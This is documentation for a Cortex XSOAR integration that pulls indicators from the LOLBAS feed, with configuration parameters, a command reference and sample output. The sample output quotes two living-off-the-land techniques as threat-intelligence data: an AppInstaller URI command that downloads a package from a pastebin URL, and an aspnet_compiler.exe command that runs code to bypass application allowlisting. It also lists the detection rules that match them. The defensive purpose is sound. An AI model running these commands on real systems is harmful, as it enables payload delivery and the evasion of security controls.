LOLBAS Feed

This Integration is part of the LOLBAS Feed Pack.#

Supported versions

Supported Cortex XSOAR versions: 6.8.0 and later.

This integration was integrated and tested with version v1 of LOLBAS.

Configure LOLBAS Feed in Cortex#

Parameter	Description	Required
Base URL		True
Fetch indicators		False
Indicator Reputation	Indicators from this integration instance will be marked with this reputation.	False
Source Reliability	Reliability of the source providing the intelligence data.	True
Traffic Light Protocol Color	The Traffic Light Protocol (TLP) designation to apply to indicators fetched from the feed.	False
Bypass exclusion list	When selected, the exclusion list is ignored for indicators from this feed. This means that if an indicator from this feed is on the exclusion list, the indicator might still be added to the system.	False
Use system proxy settings		False
Trust any certificate (not secure)		False
Tags	Supports CSV values.	False
Create relationships		False
Feed Fetch Interval		False

Commands#

You can execute these commands from the CLI, as part of an automation, or in a playbook. After you successfully execute a command, a DBot message appears in the War Room with the command details.

lolbas-get-indicators#

Retrieves a limited number of indicators.

Base Command#

lolbas-get-indicators

Input#

Argument Name	Description	Required
limit	The maximum number of indicators to return.	Required

Context Output#

Path	Type	Description
LOLBAS.Indicators.Commands.category	String	The category of the command.
LOLBAS.Indicators.Commands.command	String	The command.
LOLBAS.Indicators.Commands.description	String	The description of the command.
LOLBAS.Indicators.Commands.mitreid	String	The MITRE ID related to the command.
LOLBAS.Indicators.Commands.operatingsystem	String	The operating system the command ran on.
LOLBAS.Indicators.Commands.privileges	String	The privileges required to run the command.
LOLBAS.Indicators.Commands.usecase	String	The use case of the command.
LOLBAS.Indicators.Description	String	The description of the indicator.
LOLBAS.Indicators.Detections.content	String	The content of the detection.
LOLBAS.Indicators.Detections.type	String	The type of the detection.
LOLBAS.Indicators.Name	String	The name of the indicator.
LOLBAS.Indicators.Paths.path	String	The path of the indicator.
LOLBAS.Indicators.Type	String	The type of the indicator.

Command example#

!lolbas-get-indicators limit=2

Context Example#

{
    "LOLBAS": {
        "Indicators": [
            {
                "Commands": [
                    {
                        "category": "Download",
                        "command": "start ms-appinstaller://?source=https://pastebin.com/raw/tdyShwLw",
                        "description": "AppInstaller.exe is spawned by the default handler for the URI, it attempts to load/install a package from the URL and is saved in C:\\Users\\%username%\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\\AC\\INetCache\\<RANDOM-8-CHAR-DIRECTORY>",
                        "mitreid": "Ingress Tool Transfer",
                        "operatingsystem": "Windows 10, Windows 11",
                        "privileges": "User",
                        "usecase": "Download file from Internet"
                    }
                ],
                "Description": "Tool used for installation of AppX/MSIX applications on Windows 10",
                "Detections": [
                    {
                        "content": "https://github.com/SigmaHQ/sigma/blob/bdb00f403fd8ede0daa04449ad913200af9466ff/rules/windows/dns_query/win_dq_lobas_appinstaller.yml",
                        "type": "Sigma"
                    }
                ],
                "Name": "AppInstaller.exe",
                "Paths": [
                    {
                        "path": "C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.11.2521.0_x64__8wekyb3d8bbwe\\AppInstaller.exe"
                    }
                ],
                "Type": "Tool"
            },
            {
                "Commands": [
                    {
                        "category": "AWL Bypass",
                        "command": "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_compiler.exe -v none -p C:\\users\\cpl.internal\\desktop\\asptest\\ -f C:\\users\\cpl.internal\\desktop\\asptest\\none -u",
                        "description": "Execute C# code with the Build Provider and proper folder structure in place.",
                        "mitreid": "Trusted Developer Utilities Proxy Execution",
                        "operatingsystem": "Windows 10, Windows 11",
                        "privileges": "User",
                        "usecase": "Execute proxied payload with Microsoft signed binary to bypass application control solutions"
                    }
                ],
                "Description": "ASP.NET Compilation Tool",
                "Detections": [
                    {
                        "content": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules",
                        "type": "BlockRule"
                    },
                    {
                        "content": "https://github.com/SigmaHQ/sigma/blob/960a03eaf480926ed8db464477335a713e9e6630/rules/windows/process_creation/win_pc_lobas_aspnet_compiler.yml",
                        "type": "Sigma"
                    }
                ],
                "Name": "Aspnet_Compiler.exe",
                "Paths": [
                    {
                        "path": "c:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe"
                    },
                    {
                        "path": "c:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_compiler.exe"
                    }
                ],
                "Type": "Tool"
            }
        ]
    }
}

Human Readable Output#

LOLBAS indicators#
Name Description
AppInstaller.exe Tool used for installation of AppX/MSIX applications on Windows 10
Aspnet_Compiler.exe ASP.NET Compilation Tool

Name	Description
AppInstaller.exe	Tool used for installation of AppX/MSIX applications on Windows 10
Aspnet_Compiler.exe	ASP.NET Compilation Tool